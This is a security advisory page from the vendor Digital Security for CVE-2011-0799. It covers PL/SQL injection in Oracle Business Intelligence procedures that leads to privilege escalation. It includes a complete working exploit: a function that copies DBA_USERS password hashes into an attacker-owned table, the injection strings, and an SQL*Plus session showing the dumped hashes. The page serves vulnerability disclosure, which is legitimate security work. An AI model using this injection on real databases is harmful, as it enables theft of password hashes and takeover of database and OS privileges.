Услуги
Аудит информационной безопасности

Аудит информационной безопасности компании – многоплановая задача, в
которую входит несколько направлений анализа
ИТ-инфраструктуры и оценки защищенности приложений и устройств

Подробнее
Решения
Решения

Аккумулировав весь опыт Digital Security, мы подготовили отдельные решения по аудиту безопасности. Каждое решение объединяет специализированные услуги для конкретной отрасли бизнеса или сферы исследования. Вы можете выбрать любую из них или несколько — в комплексе

О нас
Digital Security

Практическая информационная безопасность – наша специализация и любимое дело. Уже 18 лет мы помогаем нашим клиентам уберечь сервисы и системы от киберугроз, а также активно участвуем в развитии мирового ИБ-сообщества

Подробнее
Экспертиза
Экспертиза

Для клиентов Digital Security работает команда экспертов ИБ мирового уровня. Мы получаем благодарности за вклад в обеспечение безопасности от лидеров ИТ-индустрии, а также подтверждаем свои навыки международными сертификатами в области ИБ

Подробнее
Ресурсы
Ресурсы

Мы создаем контент для тех, кому интересна информационная безопасность. Многостраничные технические статьи, бизнес-аналитика с емкими выводами, записи вебинаров и презентации с профильных конференций — все вы найдете в этом разделе

Подробнее

Мы создаем контент для тех, кому интересна информационная безопасность. Многостраничные технические статьи, бизнес-аналитика с емкими выводами, записи вебинаров и презентации с профильных конференций — все вы найдете в этом разделе

Посмотреть раздел

Масштабные исследования и аналитические обзоры. Описания хакерских инструментов и техник

Статьи и аналитические работы, полезные для бизнеса. Экспертное мнение об актуальных проблемах информационной безопасности

Видеоархив наших вебинаров и конференций. А также анонсы предстоящих мероприятий

Руководства, презентации, чек-листы. Гайды для повышения уровня осведомленности в вопросах ИБ

Наверх

CVE-2011-0799: WB_RT_AUDIT_SHADOW_TABLE Повышение привилегий

Вендор

Oracle

Продукт

Oracle Business Intelligence Standart Edition One 10.1.3.2.1

Тип уязвимости

Повышение привилегий

Reported

20.04.2010

Date of Public Advisory

16.06.2011

Подтверждение

Автор

Александр Поляков

Детальное описание

Пользователи с доступом к исполнению OWBREPOS_OWNER.WB_RT_AUDIT_SHADOW_TABLE (role OWB_O_OWBERPOS_OWNER) могут повысить свои привилегии до владельца базы данных и получить доступ к ОС.

По умолчанию это пользователи:
BISE1_SALES
BISE1_SALESWH
BISE1_TUTORIALWH
HR
OWBERPOS_USER
OWF_MGR

1. PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID
Argument Name Type In/Out Default?
P_CUBE_NAME VARCHAR2 IN

Аргумент P_CUBE_NAME не санитизирован, поэтому злоумышленние может внедрить любой SQL-код, который будет исполнен с правами OWBREPOS_OWNER.

OWBREPOS_OWNER не является администратором баз данных, но у него есть ряд критичных ролей и привилегий, которые могут быть использованы для просмотра всех данных в таблицах базы данных, включая хеши пользователей, а также для доступа к файлам ОС, выполнения команд ОС и получения прав SYSDBA.

1.1. У OWBREPOS_OWNER есть привилегия «SELECT ANY DICTIONARY», так что теоретически, возможно получить доступ к хешам паролей и другим данным.

Пример эксплойта
CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));

CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ‘INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS’;
COMMIT;
RETURN ‘Z’;
END;
/

grant execute on SHOWPASS to PUBLIC;
grant insert on sh2kerr to PUBLIC;

exec OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘ccccccccccccccccccccc» and SCOTT.SHOWPASS()=»Z’);

select * from sh2kerr;

DISASSEMBLY
when we execute OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘sometext’) then procedure executes that query:

SQL> select sql_text from v$sql where sql_text like ‘%cccc%’;

DELETE FROM OWB$$$_SOLVE_GROUP_IDS WHERE CUBE_NAME = ‘sometext’

so if we execute OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘ccccccccccccccccccccc» and SCOTT.SHOWPASS()=»Z’);

that will be:

DELETE FROM OWB$$$_SOLVE_GROUP_IDS WHERE CUBE_NAME = ‘sometext’and SCOTT.SHOWPASS()=’Z’

because SCOTT.SHOWPASS() returbs ‘Z’ so this query retirn true.

EXPLOITING
C:\Documents and Settings\Alexandr.Polyakov>sqlplus scott/tiger@172.16.219.52/bi
se1db

SQL*Plus: Release 10.1.0.2.0 — Production on Tue Feb 17 19:59:18 2009

Copyright (c) 1982, 2004, Oracle. All rights reserved.

Connected to:
Oracle Database 10g Release 10.2.0.1.0 — Production

SQL> CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));

Table created.

SQL>
SQL> CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
2 authid current_user as
3 pragma autonomous_transaction;
4 BEGIN
5 EXECUTE IMMEDIATE ‘INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_
id,username,password FROM DBA_USERS’;
6 COMMIT;
7 RETURN ‘Z’;
8 END;
9 /

Function created.

SQL> grant execute on SHOWPASS to PUBLIC;

Grant succeeded.

SQL> grant insert on sh2kerr to PUBLIC;

Grant succeeded.

SQL> exec OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘ccccccccccccccccccccc» and
SCOTT.SHOWPASS()=»Z’);

PL/SQL procedure successfully completed.

SQL> select * from sh2kerr;

ID NAME PASSWORD
87 MGMT_VIEW 7341A3470*******
0 SYS 77E6B621F*******
5 SYSTEM 00F69E7C8*******
24 DBSNMP 2799F7BE*******
85 SYSMAN B74FA520*******
79 OWBREPOS_USER 77B72F56*******
54 SCOTT F894844C*******
63 BISE1_TUTORIALWH D41A12EB3*******

1.2. У OWBREPOS_OWNER есть привилегия «CREATE EXTERNAL JOBS», так что он может выполнять команды уровня ОС, как, например, в этом эксплойте

1.3. У OWBREPOS_OWNER есть привилегия «CREATE ANY DIRECTORY», так что он может получить привилегии SYSDBA или выполнять команды уровня ОС, например:

http://www.oracleforensics.com/wordpress/wp-content/uploads/2008/10/create_any_directory_to_sysdba.pdf

 

2. PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID

Уязвимые параметры:
Argument Name Type In/Out Defaul
P_CUBE_NAME VARCHAR2 IN
P_MEASURE_NAME VARCHAR2 IN
P_SOLVE_GROUP_ID VARCHAR2 IN

Пример
CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));

CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ‘INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS’;
COMMIT;
RETURN ‘Z’;
END;
/

grant execute on SHOWPASS to PUBLIC;
grant insert on sh2kerr to PUBLIC;

exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID(‘aaa»||SCOTT.SHOWPASS()||»aaa’,’bbb’,’bbb’);

select * from sh2kerr;

DISASSEMBLY (here we can see a query where our code in injected)
SQL> select sql_text from v$sql where sql_text like ‘%aaa%’;

SQL_TEXT
———————————————————————————

INSERT INTO OWB$$$_SOLVE_GROUP_IDS(CUBE_NAME, MEASURE_NAME, SOLVE_GROUP_ID) VALU

ES(‘aaa’||SCOTT.SHOWPASS()||’aaa’, ‘bbb’, ‘ccc’)

select sql_text from v$sql where sql_text like ‘%aaa%’
BEGIN OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID(‘aaa»||SCOTT.SHOWPASS()||»aaa’,’b

bb’,’ccc’); END;

SQL>

 

Решение

Решение этой проблемы содержится в SAP Oracle Critical patch update April 2011
http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html

Мы используем куки. Никогда такого не было, объясните

ОК